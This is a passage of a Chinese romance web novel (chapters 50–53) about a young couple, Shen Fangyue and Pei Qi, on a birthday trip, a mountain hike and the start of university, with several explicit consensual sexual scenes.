房间依旧关着灯，沈方月闭着眼，只能感觉裴祈的唇舌和手指，这令她所有感官都更加敏感，被反复触碰的地方灼烧地发麻，沈方月张嘴，声音都颤抖：“裴祈。” “嗯。”身下的人干哑地回应。 “我难受。”她用气音说。 裴祈吞咽了一下：“帮你好不好。” “……”沈方月抵着他的鼻子，很郑重地点头。 她以为是要到最后一步了。 沈方月枕在裴祈的枕头上，脸红心跳地想，就这样继续？不开灯吗？只有一盏地灯，她什么也看不见啊，这不公平吧。 她刚想为自己争取权益，就感觉到了裴祈的手指。 几乎在碰上去的一瞬间，沈方月就结束了。 陌生澎湃的感觉瞬间将沈方月淹没，她手指紧攥，浑身都刺激地绷直了很长一段时间，脑子里嗡嗡地想，原来上次洗澡时的大腿摩擦根本不算什么…… 裴祈也顿了一下。他半跪在沈方月腿间，手挪开，按在沈方月大腿上，这会儿的少年有些控制不住力道，白皙的腿肉被他按得微微下陷。 “太敏感了吧，沈方月。” “……” 沈方月好久才缓过来，感觉像潮水慢慢褪去，余韵还飘飘浮浮地留在沙滩上。她回神，有点慢半拍地撑起身。 然后就在昏暗的地灯里看见裴祈单手支起她一边腿，俯身低头。 …… 沈方月毫无防备地缩起脚趾，单薄的背脊和脖颈猛地后仰，身体和脑袋都仿佛要被刺激到炸开，不受控制地发出声音。 想起这家酒店隔音不算好，她捂着嘴挣扎了一下，自觉很用力，其实根本没有力气，腿仍旧被裴祈牢牢地控制在手肘里，连头发丝都像在发抖。 仿佛过去了一个世纪——其实只有一小会儿。因为沈方月根本受不了。 床头灯被打开，昏黄一盏。沈方月手脚发软，气喘吁吁地看着少年半跪着往前，从床头抽纸，还有沈方月特意带出来的湿纸巾，帮她一点点擦干净。 沈方月羞耻得曲起小腿想挡，脑子像在飘。 裴祈垂眼看她：“舔都舔过了。” “……………………” 小腿不曲了，撑起来踹他。 帮她擦完，裴祈起身下床，沈方月手指勾住他的衣服：“……去干嘛。” 浑身发软，声音也蚊子似的，细细娇娇。 “刷牙。” “……” 脸颊又红了一点，沈方月问：“不做吗？” 借着床头灯，她清晰地看见少年宽敞长裤下的突起和紧绷。 “这里的套不好。”裴祈道。 “你连这都知道，”沈方月说，“难道你……” “这还用知道？看不出来？”裴祈随便拎起一盒，“哪个好品牌会在包装上写‘今夜你会不会来’？” 沈方月崩溃了：“啊啊啊啊啊啊！你刚才是不是吞咽了一下！！！” “我都无所谓，你叫什么啊，沈方月。”裴祈噗嗤一声笑出来。 …… 裴祈进了浴室。 听见咔地一声，沈方月再累也要偏过头骂：“又关灯，裴祈，你真的很小气。” 咔。 灯又开了。 沈方月：“……” 她看了一眼，扭开，又看一眼，再扭开…… 啊啊啊啊啊。 “裴祈，你在想什么？”沈方月抱着枕头，忍不住开口。 “你。” “太久了吧，要不要我叫两声帮你。” “你叫。” 沈方月清清嗓子，没什么感情地“啊啊”了两声。 “……闭嘴吧。” “你能不能转过来一点，这样我看不清。” 咔，灯又关了。 “……” 不知过了多久，今天的朋友圈都要被沈方月刷烦了，厕所门终于打开。 又刷了一次牙，他身上薄荷气很重。裴祈走到床边，弯腰，手陷进沈方月的头发里：“回你床上睡。” 沈方月窝在被子里：“不要。” 裴祈转头，刚想换床睡，衣服被轻轻抓住。 最后两个人还是挤了一张单人床。 床很小，睡得勉勉强强，裴祈伸手拢着她。 沈方月就着他的手臂，贴在他身上睡，闻他的沐浴露香。裴祈已经被她挑的那款沐浴露腌入味了，哪怕暂时用了别的，身上还是有一股淡淡的柑橘香气。 沈方月嗅着，往前一点点，仰头轻轻亲他下巴，才想起自己漏了一句：“生日快乐，裴祈。” 裴祈懒懒地低头，亲她嘴唇，模模糊糊地嗯一声。 沈方月顿了下：“你刚才应该有仔细刷牙吧。” 裴祈气笑，他都没说什么，她还嫌弃上了？他干脆低头，捏住她两颊，让她张嘴：“你自己检查。” “……”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第 51 章【VIP】 第51章 第 51 章 天呀，她的男朋友一点拍…… 昨天磨磨蹭蹭到深夜, 翌日，两人一觉睡到中午。 退了房，两人在楼下吃了云沪的特色腌面。裴祈还因为生日获赠了一颗肉丸, 沈方月笑得特别甜：“谢谢阿姨！阿姨您真好！” 老板娘以为他们是附近大学的学生：“哎哟, 你们小情侣感情多好的嘞, 以后多来光顾。” “一定！” 老板娘走后，裴祈懒声道：“撒谎精。” “我才没撒谎, 以后我们每次来云沪玩，都会来这里吃一碗面的。”沈方月嗦一口面，一双猫眼精神地瞧他，“你怎么这么困。” 裴祈答非所问：“今晚睡前在床边放个摄像头。” 沈方月大惊：“你、你怎么还有这种癖好啊，变态！” “确实有变态。”裴祈撩起眼皮, 眼里睡意浓重, “第一次见到有人睡熟了还会把手伸进别人衣服的。” 本来抱着睡就已经够难受。好不容易快熬睡着，纤细的手毫无防备地伸进他衣服，贴着他小腹，宾至如归地放了一晚上。 裴祈睁眼到天明，差点去洗冷水澡。 沈方月很想反驳。 但她今早起来时手确实塞在裴祈衣服里。 “空调太冷了，暖一下手嘛。”她批评, “你身为我的男朋友, 不要这么小气。” “……” “好吧，赔你一块胡萝卜。别生气了。”她勉为其难。 挑食鬼。裴祈面无表情地夹起胡萝卜塞进嘴里。 吃完午饭，沈方月约的车正好到。 昨晚没心思, 今早又犯困, 裴祈没顾上问她要去哪。在车上补了两小时觉，到了目的地才被叫醒。 下车，看见连绵不绝的山, 裴祈嗅着空气里的草木香，朝她伸手：“手机给我。” “干嘛？” “叫司机师傅回来。”裴祈冷淡道，“沈方月，你有耐心爬？” 沈方月其实是有运动细胞的，但缺乏耐心，也不是那么热爱运动，运动会时愿意为班出征，但每次体育课八百米就总是想尽办法逃，更别说爬山。面前这座山，看起来起码得爬两三个小时。 怪不得沈方月出门时非要让他带件冲锋衣。 “大胆，知不知道站在你面前的人是谁。”沈方月叉腰，“山城一中接力第三名！” 裴祈不语，抬头环视。 附近有零散几位徒步爱好者，还有很多爬山指示牌和下山缆车，应该是地势相对安全的山。 “而且，这里还有个传说。”沈方月抵着他的肩，神秘道，“说情侣只要一起爬到山顶，看见日落，就会永远在一起——” “和说第一个祝你新年快乐的人会和你永远在一起是一个消息来源么？”裴祈悠悠道，“他还没因为传播谣言被抓？” “……”沈方月撞他，“那你到底要不要和我永远在一起！” 行李箱已经让司机帮忙送到山下酒店。十分钟后，两人在入口租了两副登山杖，加入了爬山队列。 传说显然不止骗到了沈方月，见到的徒步者几乎都是情侣。别人要么肩并肩聊天，要么分享一瓶水。 只有他俩一前一后，隔得老远。 为了证明自己超强，沈方月每个步子都又大又快，还时不时回头，一副很为难的模样：“唉，你这么慢，我们到底什么时候才能爬到山顶。” 裴祈任她嘲讽，悠悠然走自己的。 三十分钟后，两人齐平。沈方月不甘心，非要比他快半个肩。 一小时后，沈方月落后他半个肩。 一个半小时后，沈方月扶墙走进供徒步者休息的观景台。 裴祈倚在红柱边，要笑不笑地睨她：“唉，这样休息，我们到底什么时候才能爬到山顶。” “……” 沈方月刚想骂他学人精，打开的水杯被伸到她嘴边。 趁沈方月喝水的空档，裴祈终于有空看眼手机。这半小时腿都快被消息震麻了，他听见是微信提示音一直懒得看。 看清消息，裴祈很轻地皱了一下眉。 喝了水，沈方月喉咙终于舒服一点，也掏出手机，发现高三5班的群这会儿居然就聊到了99+，要知道毕业后大家都成了夜间动物，群里只有傍晚才会开始热闹。 [陈源：卧槽，兄弟们，猜我今天在学校论坛看见啥了？] [钟震：什么论坛？山高的论坛？] [陈源：不是，云大的，这不是再过一个月报道了嘛，我提前上去找老乡。] [宋哲：说重点。] 陈源分享了一个论坛帖子，沈方月随手戳进去看—— 【云大论坛：#捞人#！求问~23号下午在校门口煎饼果子店排队，穿着白T黑裤的男生（照片）有没有人知道是谁？之前没见过，是今年新生吗？什么专业的？燥候知情人[乞求]（本来想要联系方式的，但一转眼人就不见了……）】 照片里是昨天在煎饼果子摊前帮她排队的裴祈。少年高高瘦瘦，颈背懒散地微弓，下颚线锋利冷淡，侧脸帅到发帖人都不用特意圈出来，大家就能在乌泱泱人堆里一眼看出要捞的是谁。 如果仔细看，还能看到在隔壁烤面筋排队的沈方月圆润的后脑勺。 放假期间，论坛新帖寥寥，流量少，只有这个帖子回复最多，40多条。 [绝对是新生，这等姿色朕之前从未见过（狗头）] [盲猜艺术系的，哦，没准是隔壁戏剧学院的。] [天天捞这捞那，大姐，这里是学校论坛不是海底捞。] [楼上，论坛本来就有捞人板块，发帖人也加标签了，不爱看捞人别点进来不就完了？一口一个大姐的，你这辈子不会老不会死是不是。] [突然想吃煎饼果子了。] …… [2x届新生-陈源：我靠，这我朋友，但他不是云大的啊，他保送上的燕大。] [发帖人：啊？难道是来旅游的？不管了！旅游也捞，朋友能不能给我个他的联系方式（双手合十）] [2x届新生-陈源：（图片）学姐请。] …… [陈源：@裴祈 　怎么样兄dei，有人加你没（坏笑）] [钟震：靠靠靠，我也想当帅哥！] [宋哲：不是，大哥，你把裴祈联系方式给出去了啊？他和月姐在谈恋爱呢。] [陈源：啊？？] [陈源：什么时候的事？？！] [钟震：我们也是毕业那天才知道……] [陈源：靠，我完全不知道，没和我说啊！根本看不出来！他俩也没像顾飞白和他女朋友那样发朋友圈，挂情侣头像什么的……那我去申删一下，不过放假估计处理得比较晚……] 裴祈聊天记录还没翻完，就感觉到了旁边人的凝视。 扭头，对上沈方月的眼睛：“收到了几条好友申请啊？” “就几条。” 沈方月不信，站起来戳他手机，一数，确实是几条，正好卡9。 && 两人距离又回到一前一后了。 沈方月其实已经没什么力气了，走得歪歪扭扭，但倔强，连后脑勺都憋着一股气。 裴祈跟上她：“讲道理，这不能怪我吧。” 不然怪谁？她又不能怪陈源，毕竟不熟，所以毕业时也没和他说：“就怪你。你要是告诉他你有女朋友了，他怎么会把你的微信发出去。” “不熟，特意去跟他提一嘴，跟顾飞白带女朋友去年级主任前亲嘴有什么区别。” “……”好吧。 “那你可以发朋友圈，或者跟我换情侣头像——”沈方月一顿，恹恹道，“算了，之前让你换头像，你也不肯。” 之前？裴祈回忆了一下，确实有过。高一的时候沈方月非让他换一个吐泡泡的杰尼龟，他没肯。 裴祈：“那算什么情侣头像。” “反正就是你不愿意换。”沈方月扭头往前，嘟囔，“我好累，你先别找我说话了。” “……” 沈方月也知道自己在无理取闹。 她其实不是生气。 她只是忍不住想，天哪，只是买了块煎饼果子，怎么就有9个人加裴祈的微信？高中时也没这么夸张呀。没了学习焦虑和早恋的桎梏，大家都放飞自我了吗？ 那以后上了燕大，只会有更多人喜欢裴祈吧。 燕大里的人又都这么优秀。 所以她到底为什么这么馋！为什么非要吃那份煎饼果子啊！！ 思维乱七八糟地发散，感觉到裴祈没再跟上来，慢悠悠地落她两步，沈方月心里更闷了。 她低头，踹了脚路边一颗无辜的小石子。 然后转弯就被小石子的亲戚小石块报复，绊了一跤，扭到了脚。 沈方月吃痛地皱起脸，还没来得及叫出声，就被人扶住腰，把她挪到了旁边的石椅上。 裴祈蹲着，脱了她的鞋，从包里拿出刚在山下顺手买的喷雾，对着肿胀的地方喷了几下。 冰凉的液体减弱了痛感，沈方月很轻地吐一口气。 旁边挂了一个牌子，提示徒步者们距离山顶只剩不到5公里。 “裴祈，你说这是不是天意啊。”沈方月闷声，“我们到不了山顶了。” 裴祈用你又在发什么疯的眼神看她一眼，拉紧背包，对她说：“背着。” 沈方月一愣，刚想说有没有天理啦居然有人让受了伤的女朋友拿包—— 面前的人转过身，半跪在她身前。 “上来，沈方月。” 少年肩膀宽阔，步子沉稳，背着一人一包慢悠悠地走在山道最内侧。 经过的人都忍不住朝他们看，估计心想现在年轻人是不是都有病，景区哪儿都贴着急救电话，一打山下就派车过来了，非背着秀什么恩爱？ 裴祈叹气。女朋友天天上封建迷信的当，他有什么办法。 沈方月抱着他的脖子，小声在他耳边叫：“裴祈。” “嗯。” “你肩膀上的骨头好硬，戳到我了。” “忍着。” “好吧。” “裴祈。” “嗯。” “我重吗？” “你说呢。”少年嗓音冷淡，“说了零卡糖没用。” 话还没说完，就被后背的人锁喉了。女孩儿手臂细软，又不敢真用力，勒起人和蹭似的。 “裴祈。” “嗯。” “我这么漂亮，这么可爱，这么善解人意。”女孩儿声音悠悠地，“所以你不会喜欢上别人吧。” “别自恋。” “……”沈方月鼻子飞快地酸了。 “不会。”裴祈淡声，“只喜欢你。” 又不酸了。沈方月偏过脑袋，脸颊贴在他柔软的黑发上：“裴祈，祝你生日快乐。” 少年声音懒散：“谢您。” …… 到山顶时已是黄昏。 山顶已经坐满了同样封建迷信的情侣，都在打卡拍照。有好心人见沈方月腿扭了，给他们让了一块能坐着休息的大石头，沈方月感动地抓着别人的手，要加好友，非要对方有空去山城找她玩。 裴祈看她还有兴致广交好友，应该是没怎么疼了。于是放心地把包搁在石头边，去附近的店铺买点吃的。 回来时沈方月的新朋友已经离开，她坐在石头上埋头看手机，仔细一瞧，又是那个云大论坛。 见她不断地在滑帖子，裴祈坐到她旁边，把包子递到她嘴边：“在翻什么？” 沈方月咬了一口，目光仍在手机上：“看有没有人捞我。” “……” 没有。 可恶！早知道昨天就化妆了。 沈方月翻呀翻，看见那个捞裴祈的帖子多了30多条回复，很不服气地又点进去—— [我知道他，裴祈，竞赛时见过，确实是大佬，那会儿好像燕大和燕科大两所top都在抢他。话说他不太上相啊，本人比照片帅哈哈] [搜了一下名字，真是燕大的，还上了新闻，好像很牛的样子] [废话，燕大的能不牛吗？] …… [散了吧，校友们，没戏，别人头像都换成女朋友了。] 沈方月一愣。 她飞快地转回微信，果然，“裴乌龟”的黑猫头像不知何时变成了一张照片。 照片里的她坐在教室里，一脸烦躁地扭头，朝裴祈扬起的拳头都晃出了虚影。 应该是某次裴祈手欠吵她睡觉，趁她回头的时候偷拍的。 “……裴祈，你就是故意的。”沈方月感动道。 “我又怎么了。” “你非要拿一张我最丑的照片来当头像吗？” 裴祈无语，不都长一样么。他把手机扔给沈方月：“那你自己挑。” 沈方月虽然经常用他手机，但从来没翻过他的相册或者微信。 裴祈的照片数量很少，只有寥寥几十张。其中有准考证照片、考场表照片、身份证正反面……剩下的都是沈方月。 生病大哭的沈方月，上课睡觉的沈方月，暴饮暴食的沈方月，仰头大笑的沈方月。 都好丑。 天呀，她的男朋友一点拍照天赋都没有。 沈方月现场拍了一张，拍进裴祈半张脸，设成他的头像。然后扭头叫他：“裴祈。” “嗯。” “你好变态，一直偷拍我，我相册里的自己都没你多。” 谁信？明明天天在自拍。 落日熔金，染红整片山头。 裴祈终于没否认，他偏下头，夕阳将少年的轮廓都映得温柔，在温暖的昏黄里与她接吻。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第 52 章【VIP】 第52章 第 52 章 你好笨呀，亲不出来吗。…… 这趟三天两夜之旅被沈方月安排得很满, 她原打算晚上坐缆车下山，再去水上乐园接着玩，脚一扭, 计划泡了汤。 翌日下午, 她可怜兮兮地在裴祈的搀扶下一瘸一拐坐上了回山城的飞机。 沈方月伤了脚, 之后那段时间就都是裴祈过来家里找她。 这次私奔给沈舟山带来了很强的心理阴影，每次两个人一进房间, 没过半小时就会听见敲门声。 两个人就会默默地停止接吻，沈方月红着脸：“爸！” 沈舟山：“小月亮，我就是来问一声，你最喜欢的那部动漫更新了，要不要和爸爸一起看？” “不要！我早弃剧了！” 沈舟山哦一声, 声音都变冷：“那裴祈你要不要跟我一起看最新出的科幻片？改编的小说我看过, 挺不错的。” “好的，叔叔。”裴祈心领神会。 “我在楼下等你，”沈舟山强调，“快点啊！” 门外安静下来。沈方月崩溃地抵在裴祈肩膀上：“要不我们再私奔一次吧……” 裴祈揉揉她后颈：“先不奔了，马上开学了。” 一句话让沈方月低落的心情又翘起来。 对哦，他们要开学了。 她和裴祈即将两个人在一个陌生城市生活了。 没有敲门声, 没有动漫, 没有科幻片，想想就美妙—— 个屁。 8月底，叶婉沈舟山将两人送到燕京, 并帮沈方月安顿好宿舍, 等她参加完开学典礼才离开。 沈方月都还没来得及感受大学的氛围、好好逛一下她在网上看了千百遍的银杏大道，就被裹上土绿土绿的军训服，扔进了操场里。 燕科大的军训是出了名的严厉, 每到新生入学，校论坛里就会有无数学姐学长出来回忆往昔，表示只要熬过燕科大军训，你这辈子再干什么都不会觉得苦了，并开始讨论今年又会是哪个可怜新生第一个倒在烈阳里。 很快有人出来猜——估计是经管系新系花，那位一看就是娇生惯养大小姐。 军训尾声，这个楼主又自己出来回复——当我没说，系花巨猛，匍匐前进她爬得比男的都快，拉歌也是她嗓门最大，就是意外的不咋好听…… 舍友把帖子分享给沈方月时，她刚洗完澡，正曲腿坐在宿舍桌前，低头哐哐戳手机。 燕科大寝室是四人间，沈方月的大学舍友们是真正意义上的来自天南地北，性格各有特点，唯一的共同点就是人都不错。换做其他寝室，刚认识总要磨合一段时间，但有沈方月在，半月不到，大家就已经很熟了。 其中跟她玩得最好的是隔壁床，叫苏缪，来自槐南，温柔小巧的南方女孩儿。 看完帖子，沈方月说：“太过分了！” 苏缪：“对呀，怎么可以以貌取……” “怎么可以说我唱歌难听啊！” “……” 苏缪捂嘴笑起来：“你怎么每次关注点都这么清奇……又在和男朋友聊天吗？” 沈方月点头：“嗯。” 沈方月手机总是大大方方地敞着，军训时或者在宿舍大家都挨得近，苏缪经常无意一瞥就能看见上面的聊天记录。 [小月亮：通知——今晚可怜美女又又又要去操场拉歌，需要你登录账号帮她做一下手游日常任务。] [裴乌龟：求我] [裴乌龟：沈方月，能不能换个游戏，懒成这样还玩种田？30天日常29天我做的，这田到底是你种还是我种。] [小月亮：帮我做日常是你的荣幸，知道自己现在在和谁聊天吗？] [裴乌龟：……山高接力第三名？] [小月亮：好汉不提当年勇。现在是燕科大准·优秀标兵、燕科大经管系系花在与您对话（戴墨镜）] 对面正在输入半天，看起来欲言又止，最后—— [裴乌龟：哦哦（惊讶）] 阴阳怪气都快从屏幕里溢出来。 果然，沈方月气急败坏地开始给他发一堆揍人、骂人、把乌龟掰成两半的表情包。 然后她把手机往胸前一扣，脑袋后仰，一副筋疲力尽的模样：“啊——” “怎么了？麻辣女兵终于觉得累啦？”苏缪好笑地看她，摸摸她的长发，沈方月的头发不知道怎么养的，特别细软，发量又多，舍友们每次经过都忍不住边说“接发量”、“蹭蹭”边薅一下。 “不是。”沈方月睁眼，和刚才在手机里刷表情包的凶狠完全不一样，拖着音调慢吞吞地说，“好想我男朋友啊……” 燕京确实没有敲门声、动漫和科幻片了。 但也没有裴祈。 只有军训。 虽然两个人还在一个地方读书，但燕大和燕科大不在一条大学街，离得不算特别近，坐地铁要半个小时，开学这十几天他们各自开始军训，一直没时间见面。 苏缪：“那你就告诉他呀，约他出来见面。” “不行，那他会很得意。”对谁都大方的沈方月到了裴祈面前总是很计较，“而且他也没有说过想我。” 手机震了下胸口，沈方月蔫蔫地举起手机。 [裴乌龟：周五见面？我去找你] 沈方月几乎从椅子上蹦起来，背脊坐直，嘴角都快挂到耳朵，兴奋地打字回复—— [小月亮：唉，可那时我刚军训结束很累诶……好吧！真拿你没办法！] 约好日子，剩下几天就显得特别难熬。 周二，沈方月正对着衣柜纠结要穿哪件小裙子去见裴祈，突然接到电话，是系里一位热心学姐，对方开学那几天帮了沈方月不少忙，她们寝室的网都是对方带去办的，这会儿来邀请她去参加周五晚上学生自发组织的小型迎新会。 “抱歉学姐，我去不了啦。”沈方月礼貌拒绝，“我周五约了男朋友呢，嘿嘿。” “你已经有男朋友了？”对方一愣，随即劝道，“别呀，你必须来，我身边那些搞社团的一个个对你虎视眈眈，就等着周五晚上逮你呢。” 沈方月莫名地啊一声：“他们认识我吗？” 对面噗嗤一笑：“你报道那天就出名了，军训后更出名，你都不看学校论坛吗？” 沈方月：“没怎么看。” 云大论坛倒是偶尔看两眼…… “就当给我个面子，来吧，就一晚上，你和你男朋友第二天约也一样的，后面多的是时间呢。” 沈方月犹豫：“但是——” “别但是了，就你没点头啦。信我，你刚入学，又一个人在燕京，多认识点人准没错。来吧来吧！” “……那行吧。” 挂断电话，沈方月给裴祈发消息说了这件事，然后咚地一下坐到椅上，再次有气无力地后仰脑袋—— 啊！ 好想裴祈。 && 裴祈看见消息时已经是两小时后。 燕大的军训强度常年排在高校第一，不停歇地练了两小时，周围男生都已经累趴在架空楼里，只有裴祈还笔挺地站着，汗淋淋的脖颈像山林里最朝气蓬勃的那节树干。 [笨蛋：本公主周五晚要闪亮登场燕科大迎新会，见面改为周六，钦此。] 一句话被她说得洋不洋土不土的。 裴祈用手臂抹了把汗，回：[知道了。] “妈呀，这么累你还笑得出来。”坐地上的男生震惊地仰望他，气儿都还没捋顺，“又你女朋友啊？” 他们学校训练期间收手机，休息的时候才能拿出来玩。军训第一天收手机时，教官看见裴祈手机屏幕，拿出来笑着大声开玩笑：“手机屏幕是谁！” 裴祈懒洋洋地大声答，报告，女朋友。 于是全班都知道，新系草有女朋友，以后联系方式不能瞎给了。 裴祈：“嗯。” 男生摇头：“唉，爱情的力量，我什么时候也能感受一下。” 裴祈冷冷淡淡笑一声，轻车熟路打开种田游戏，帮女朋友拔萝卜，施肥，浇水……刚要去清仓库，噔地两声，竟然有两条消息同时跳进来。 [裴永恩：国庆回家吃饭，我和你蔡姨领证了，她怀孕了。] [江瑶雪：小祈，豆包走了。] && 周五晚上，裴祈从店里出来时已经接近9点。 到了假期，街道攘攘熙熙。刚在里面一动不动躺了两小时，身上发麻，裴祈甩了甩手，低头看手机。 一小时前沈方月给他发了迎新会的照片，看起来像酒吧。裴祈回，少喝点。 沈方月估计在忙，她就是这样，天生讨人喜欢，哪怕和一群刚认识的人也能聊得开心，很轻易就能在不招人厌的情况下成为人群中心，过了好一会儿才回复他——知道啦！ 对话就到这儿。 裴祈抬头找地铁口，打算回校，手机在掌心连震几下。 [宋哲：危险危险危险！] [pq：？] [宋哲：等等，我确认一下，月姐跟你说过今晚我们学校有迎新会的事儿没] 宋哲如愿上了燕科大，并和沈方月一个专业，隔壁班。 [pq：说了] 宋哲连发了几张照片来，照片里，沈方月靠坐在一个女生身上，看起来神情恍惚，正扭头和一个站着弯腰的男生对话。 [宋哲：别怪兄弟没提醒你，今晚第三个找月姐加微信的了] [宋哲：月姐好像喝醉了，但你放心，问题不大，我一定看着她安全回寝室] [宋哲：好兄弟，在心中！] [pq：哪个酒吧？] …… 到了酒吧门口，裴祈付钱下车，刚想发消息问宋哲是几号台，就听见一道豪爽的女声：“小月亮，记得你答应我的，一定要加入我们社团啊！” 裴祈循声望去，一群大学生热热闹闹地从酒吧出来。 燕京当地大学有不少本地学生，北方人都偏高大些，沈方月的个子放在里面实在不算高，但你一眼扫过去，还是能马上看见她。 沈方月今天穿的白色短袖，紧身微喇牛仔裤，简单干净的打扮反而突出她玲珑有致的身材。她此刻正抱着一个女生的手臂，靠着人家，醉醺醺的模样。 “苏缪，你太瘦了，我来扶她吧，别到时你俩都摔了。正好你们去下一场，我送她回去。”一个高个子男生笑着靠过来。是宋哲发来的照片上的人。 苏缪躲了一下，刚想说不用我能扶。靠在她身上的沈方月突然一伸手臂，把男生往外一推，声音铿锵有力：“不用，苏缪，走！轮到我们班了！1、2——团结就是李一亮……” 那男生退了两步，愣住，像是没想到她醉了力气也这么大。 裴祈看着，微微咬牙，又忍不住发笑。 像有心灵感应似的，下一秒，他那趴在别人瘦弱肩膀上大唱《团结就是力量》的女朋友忽然在满脸乱发中朝他这扫了一眼。 歌声停顿，沈方月好似愣了一下，从肩膀上起来，呆怔地看着他，还有一缕长发挂在睫毛上。 裴祈走过去，很快就有人注意到他，哪怕行走在一群高个子北方人里，他也是突出的，一身干净懒散的少年气。 大家都还没来得及偷偷戳自己身边的姐妹也看一眼，她们之中已经有人猛地朝他扑了过去。 在众人惊讶的眼神里，裴祈接住沈方月，把她抱进怀里。 “你们好，我是沈方月的男朋友，裴祈。”他淡淡地自我介绍。 “卧槽，兄弟，来这么快！”宋哲第一个反应过来。他戳了戳刚被推开那男的，小声戏谑，“说了人家男朋友很叼，你没戏，怎么就不信呢？” “……” 苏缪回神，虽然知道宋哲和沈方月是高中同学，说的话应该没错，但她看了眼醉得不省人事的沈方月，还是不放心地确认一下：“那个，能让我看眼你微信头像吗？” 见对方确实是沈方月经常聊天的那个头像，聊天记录也有，苏缪松一口气，笑道：“太好了，那就麻烦你把她扶回宿舍，我们接着去下一场了。” “行。”裴祈颔首，“把她包给我吧。今晚谢谢你。” 一群人一步三回头地走了，只剩拥抱着的两人站在马路牙子上。 燕京初秋天气多变，白天开军训总结大会时还热得要死，到了晚上便凉爽了，偶尔吹几道挟着冷意的晚风。 沈方月衣服有些短，伸手去抱裴祈脖子时微微上扯，露出一截细白的腰。裴祈用手臂揽住，挡着，低头戳手机。 “裴祈……”她小声呢喃，“你在干嘛。” “叫车。” “去哪里？” “燕科大。” 怀里的人安静几秒，然后在他肩膀上摇头，头发戳得他发痒：“不要不要不要！我不回学校！！” “行。” “我再也不要回燕科大了，”军训憋了14天的沈方月呜呜咽咽地耍酒疯，“我讨厌燕科大——你是不是还在叫车，我不会上车的！我不回燕科大！！！” “……” 裴祈叹气：“那你要去哪。” “你家。” 裴祈沉默了下：“这里是燕京，沈方月。” “噢，那太好了，燕京没有我爸爸。”沈方月又抱紧他一点，在晚风里用气音一字一顿道，“我们去开房吧。” “……” && 最后还是去开了间房。 进酒店前，裴祈带着她去便利店买了点一次性洗漱用品，牛奶，和一点吃的，怕她酒醒了喊饿。 正在前台排队，沈方月醉醺醺地趴在他怀里，伸手，手指戳在货架上的套子包装上，一个个点过，好似在挑，最后拿起一盒扔进他们购物篮里。 裴祈瞥一眼，拿出来。沈方月又扔进去，再拿出来…… “两位……结账吗？”售货员小心翼翼地问。 算了，和醉鬼计较什么。裴祈由她去，把篮子往桌上一放：“嗯。” 回到酒店，开门，把袋子往桌上一放，还没来得及开房间里的灯，怀里的人把他往墙上一撞，仰头慢吞吞地亲他。 裴祈靠在墙上，任她啄着，借着玄关顶上微弱的光垂眼睨她。她身上酒味浓重，整个人却很干净，素面朝天，脸蛋比两周前瘦了一圈。 “裴祈，嗝……你变黑了。”沈方月两手捧着他的脸，掐着，也在看他，“你看，你没我的防晒根本不行。” 裴祈嗯一声。 “你没我不行。”她醉眼朦胧地简化，又打了个酒嗝。 “嗯。” 沈方月又抬头跟他接吻，舌尖生涩地碰他嘴唇，不知为什么，明明醉了酒，她嘴里还是干干净净的果糖味。 沈方月没头没尾地嘀咕：“早知道我当初就把目标定在燕大了。” “天黑了，是该做梦了。” “……” 沈方月不满地咬他一口，又衔他的嘴唇，她脸颊微酡：“裴祈，你想我吗？” 醉成这样，明天估计又要断片，无所谓了，裴祈低低嗯一声：“想。” “有多想？” “很想。”裴祈微哑，模仿她平时说话，“超、级、想。” “噢，我也是，”沈方月疑惑，嘴唇贴在他下巴上，模模糊糊地问，“那你怎么都不亲我。” “怕你难受。” 沈方月摇头，嘴唇在他下巴上轻轻摩挲：“亲我吧，我不会吐在你嘴里的。” …… 房间灯始终未开，沈方月被抵在墙上亲吻，裴祈一只手撑在她脑后，另只手臂陷进那件紧身的白短袖里，将布料撑得鼓起，不知道是被亲还是被摸得难受，沈方月仰头，不受控制地发出一点细软又短促的呜声。 吻偶尔会暂停，裴祈手指慢碾，抵着她的鼻尖问：“三个都加了吗？” 沈方月反应了一会儿：“啊！宋哲这个告状精！” 裴祈笑：“所以加没。” 沈方月眨眼，淡粉色的一节胸衣露在锁骨处，眼里恍惚，不知道是亲的还是醉的：“加了啊，一个班的，以后可能还要小组合作。但我说了我有男朋友。” 说了有什么用，男的有什么道德底线吗？但又不可能叫她删掉，裴祈叹气，带着烦躁和欲/望又低头亲她。沈方月亲着亲着忽然笑起来，好像才反应过来：“你吃醋呀？” 裴祈没说话，只是去勾她的舌尖，但沈方月依旧能夹缝求生，被亲得神志不清了还能挣扎着说醉话：“你好小气。我这种大方的女人就不会吃这种醋，你别太爱我啦。啊……你不会今晚趁我喝醉，偷偷拿我手机删好友吧。” 裴祈本来很烦，听了又忍不住扬唇。这话你也有脸说。两个人神经病似的，亲得滚烫着迷，心跳一个比一个响，完了还都能抽空笑一声。 “裴祈，你别一直顶我。” “……” 是人说的话么？裴祈最后含了一下她的嘴唇，打算打住。松开她，拉了一下她衣服，想帮她整理好。 沈方月靠在墙上，抓住他的手臂：“裴祈，我们做吧。” 裴祈不为所动，敷衍地嗯一声，继续帮她调节胸衣。 “其实我没喝醉。” “嗯……”裴祈一顿，抬眼看她。 “你好笨呀，亲不出来吗？我一点酒没喝，都偷偷换成果汁了，只是不想去第二场所以装醉，”沈方月笑起来，眼睛里亮闪闪的，没有醉意，只有调笑和青涩的欲/望，“你又不在，我怎么会喝酒啊。” “……” 几股情绪一阵阵地翻涌到胸口，裴祈喉结滚动，眼眸漆黑，沉默滚烫地看着她。 他们安静炽热地看着彼此，视线代替唇舌交缠，里面全是蠢蠢欲动的试探。良久，裴祈手指碰到她的牛仔裤纽扣。 他低哑：“沈方月，你随时能喊停。” 沈方月被他手指碰得皮肤发痒，凑上去在他下颚上轻轻亲了口，声音颤抖又隐秘：“快点吧，裴祈。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【正文完】 第53章 第 53 章 她终于知道了…… 两人的衣服散落在沙发, 空调被调到合适温度，沈方月躺在床上，朦胧地看着天花板, 心想, 谁说燕京干燥？明明这么潮湿。 她的眼睛是湿的, 耳朵是湿的，锁骨是湿的, 裴祈的手指也是湿的。她甚至能感觉到他的指腹、骨节、微微弯曲的弧度。 沈方月脖颈绷紧，不受控制地又去抓床单，下巴都仰起。一阵过后，她听见裴祈淡笑：“怎么这么敏感？我还没开始，你就两次了。” “……” “那你就快点开始啊……”沈方月说。 “再弄一下, 我怕你疼。”裴祈半跪着, 单手撑在她腿肉，又要低头。 